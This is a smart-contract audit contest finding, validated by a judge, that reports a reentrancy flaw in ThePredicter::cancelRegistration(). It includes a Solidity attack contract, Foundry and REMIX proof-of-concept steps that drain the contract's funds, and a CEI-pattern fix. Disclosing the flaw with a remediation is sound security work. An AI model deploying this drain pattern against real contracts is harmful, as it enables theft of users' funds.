Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy at ThePredicter::cancelRegistration()

Summary

Reentrancy at ThePredicter::cancelRegistartion()because the function doesn't implement a CEI (Check-Effect-Interact)pattern.

Vulnerability Details

Upon finishing registration using register()and paying the exact fee, players can cancel their registration using cancelRegistration()or wait for the registration to be approved by the organization. The cancelRegistration()function doesn't implement a best practice of CEI (Check-Effect-Interact) pattern, which will cause a malicious attacker contract to be able to cut the function upon withdrawing money and make a loop to drain the balance of all registered users.

function cancelRegistration() public {
- if (playersStatus[msg.sender] == Status.Pending) { // check
- (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled; // effect
- return;
- }
revert ThePredicter__NotEligibleForWithdraw();
}

Impact

Balance that is being held by the ThePredicter.solcan be drained.

Proof-of-Concept (PoC)

Using Foundry

  • Create an Attack Contract on /src/testing/reentrancy.sol

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.20;
    import "../ThePredicter.sol";
    contract attack{
    ThePredicter thePredicter;
    constructor(address _target) {
    thePredicter = ThePredicter(_target);
    }
    function testReentrancy() public payable {
    thePredicter.register{value: msg.value}();
    thePredicter.cancelRegistration();
    }
    receive() external payable {
    if(address(thePredicter).balance >= 0.04 ether){
    thePredicter.cancelRegistration();
    }
    }
    }
  • Modify the test/ThePredicter.test.solas follows

    // REST OF CODE
    function testFor_Reentrancy() public {
    // Register a Player
    vm.startPrank(tester_1);
    vm.deal(tester_1, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();
    // Register a second Player
    vm.startPrank(tester_2);
    vm.deal(tester_2, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();
    // Register a Third Player
    vm.startPrank(stranger);
    vm.deal(stranger, 1 ether);
    thePredicter.register{value: 0.04 ether}();
    vm.stopPrank();
    // Make the organizer approved one player
    vm.startPrank(organizer);
    thePredicter.approvePlayer(stranger);
    vm.stopPrank();
    // Funds and Deploy the Reentrancy Deployer
    vm.startPrank(tester_reentrancy);
    vm.deal(tester_reentrancy, 1 ether);
    // Deploy the Attack Contract & Start the Attack
    testreentrancy = new testReentrancy(address(thePredicter));
    testreentrancy.attack{value: 0.04 ether}();
    vm.stopPrank();
    // Assert that all the baalnce is drained
    assertEq(address(testreentrancy).balance, 0.16 ether);
    }
    // REST OF CODE
  • run forge test --mt testFor_Reentrancy -vvvv

Using REMIX

  1. Create a Folder on REMIX containing the 2 solidity files (ThePredicter.sol & ScoreBoard.sol)

  2. Using the 1st Wallet, deploy the 2 smart contract

  3. Using the 2nd & 3rd Wallet, Register with the exact fee (0.04 ether)

  4. Using the 1st Wallet, approve the 2nd Wallet Registration so that we have a pendingand a approvedplayer.

  5. Create an Attack Smart Contract for the Reentrancy using this code

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.20;
    import "./ThePredicter.sol";
    contract attack{
    ThePredicter thePredicter;
    constructor(address _target) {
    thePredicter = ThePredicter(_target);
    }
    function testReentrancy() public payable {
    thePredicter.register{value: msg.value}();
    thePredicter.cancelRegistration();
    }
    receive() external payable {
    if(address(thePredicter).balance >= 0.04 ether){
    thePredicter.cancelRegistration();
    }
    }
    }

  1. Provide 0.04 ether and run the testReentrancy()function

  2. Notice that now the balance of the Attack Smart Contract has 0.12 Ether

Tools Used

  • Foundry

  • REMIX IDE

Recommendations

It is better to implement the CEI pattern for the cancelRegistration()function, below is the suggested fix

function cancelRegistration() public {
- if (playersStatus[msg.sender] == Status.Pending) { // check
- (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled; // effect
- return;
- }
+ if (playersStatus[msg.sender] == Status.Pending) { // check
+ playersStatus[msg.sender] = Status.Canceled; // effect
+ (bool success, ) = msg.sender.call{value: entranceFee}(""); // interact
+ require(success, "Failed to withdraw");
+ return;
+ }
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.